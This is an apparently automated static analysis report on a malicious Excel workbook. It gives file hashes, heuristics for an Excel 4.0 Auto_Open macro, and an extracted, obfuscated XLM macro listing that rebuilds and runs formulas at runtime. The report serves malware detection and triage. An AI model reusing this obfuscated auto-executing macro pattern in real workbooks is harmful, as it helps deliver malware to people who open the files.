Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6712e1b3ab422f2c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:40 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: bf522a3a2309b6153c1669978e458f7b SHA-1: e0bc45e11f1383014806706ddec459559fad68ae SHA-256: 6712e1b3ab422f2c28c0c786419616209923395d880491f6f8fbb45f39bf6602
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6557 bytes
SHA-256: 0c4aa4c1f8df15c2b8ed47dda72f9b1a4f0e085d905ed2a12a88d9d8ea86c498
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qHddHVIHs
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E144 
' 0018     22 LABEL : Cell Value, String Constant - cttwEms len=0 
' 0018     26 LABEL : Cell Value, String Constant - CwVJkcAKdEO len=0 
' 0018     27 LABEL : Cell Value, String Constant - dRxjQMlGcPlJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - FzsPArmF len=0 
' 0018     25 LABEL : Cell Value, String Constant - hNeOjzUTGf len=0 
' 0018     25 LABEL : Cell Value, String Constant - ikHWSoCpXv len=0 
' 0018     26 LABEL : Cell Value, String Constant - jdTiEadySMf len=0 
' 0018     24 LABEL : Cell Value, String Constant - KqVHWQJsM len=0 
' 0018     20 LABEL : Cell Value, String Constant - lAncK len=0 
' 0018     21 LABEL : Cell Value, String Constant - LRaLOV len=0 
' 0018     23 LABEL : Cell Value, String Constant - NpKgXkMb len=0 
' 0018     22 LABEL : Cell Value, String Constant - svgkHbL len=0 
' 0018     25 LABEL : Cell Value, String Constant - TaUbUlYhsi len=0 
' 0018     20 LABEL : Cell Value, String Constant - TqytX len=0 
' 0018     23 LABEL : Cell Value, String Constant - UDJHaTPl len=0 
' 0018     22 LABEL : Cell Value, String Constant - WgVMHus len=0 
' 0018     21 LABEL : Cell Value, String Constant - xBjngZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - YtAQUijWi len=0 
' 0018     20 LABEL : Cell Value, String Constant - YVRqI len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZbyicaDpiur len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qHddHVIHs,E51,"SET.NAME("lAncK",VALUE("0"))",""
'  qHddHVIHs,E56,"SET.NAME("dRxjQMlGcPlJ",lAncK)",""
'  qHddHVIHs,E58,"SET.NAME("TaUbUlYhsi",lAncK)",""
'  qHddHVIHs,E62,"SET.NAME("ZbyicaDpiur",COUNTA(cttwEms))",""
'  qHddHVIHs,E65,"SET.NAME("svgkHbL",COUNTA(NpKgXkMb))",""
'  qHddHVIHs,E68,[],""
'  qHddHVIHs,E73,"SET.NAME("jdTiEadySMf","")",""
'  qHddHVIHs,E77,"dRxjQMlGcPlJ",""
'  qHddHVIHs,E82,"SET.NAME("ikHWSoCpXv",HLOOKUP("*",cttwEms,dRxjQMlGcPlJ,FALSE))",""
'  qHddHVIHs,E86,"CwVJkcAKdEO",""
'  qHddHVIHs,E88,"SET.NAME("FzsPArmF",lAncK)",""
'  qHddHVIHs,E91,[],""
'  qHddHVIHs,E94,"FzsPArmF",""
'  qHddHVIHs,E96,"UDJHaTPl",""
'  qHddHVIHs,E101,"WgVMHus",""
'  qHddHVIHs,E105,"xBjngZ",""
'  qHddHVIHs,E109,"SET.NAME("YtAQUijWi",VALUE(HLOOKUP("*",NpKgXkMb,xBjngZ,FALSE)))",""
'  qHddHVIHs,E114,"YVRqI",""
'  qHddHVIHs,E116,"jdTiEadySMf",""
'  qHddHVIHs,E121,"TaUbUlYhsi",""
'  qHddHVIHs,E124,NEXT(),""
'  qHddHVIHs,E127,"LRaLOV",""
'  qHddHVIHs,E129,"SET.NAME("f",INT(T(FORMULA(T(jdTiEadySMf)&"",""&T(LRaLOV)))))",""
'  qHddHVIHs,E133,"KqVHWQJsM",""
'  qHddHVIHs,E137,NEXT(),""
'  qHddHVIHs,E140,RETURN(),""
'  qHddHVIHs,E168,"SET.NAME("hNeOjzUTGf",E51)",""
'  qHddHVIHs,E170,"cttwEms",""
'  qHddHVIHs,E175,"SET.NAME("NpKgXkMb",R44C15)",""
'  qHddHVIHs,E180,"SET.NAME("KqVHWQJsM",191)",""
'  qHddHVIHs,E185,"SET.NAME("TqytX",5)",""
'  qHddHVIHs,E190,hNeOjzUTGf(),""
'  qHddHVIHs,E191,HALT(),""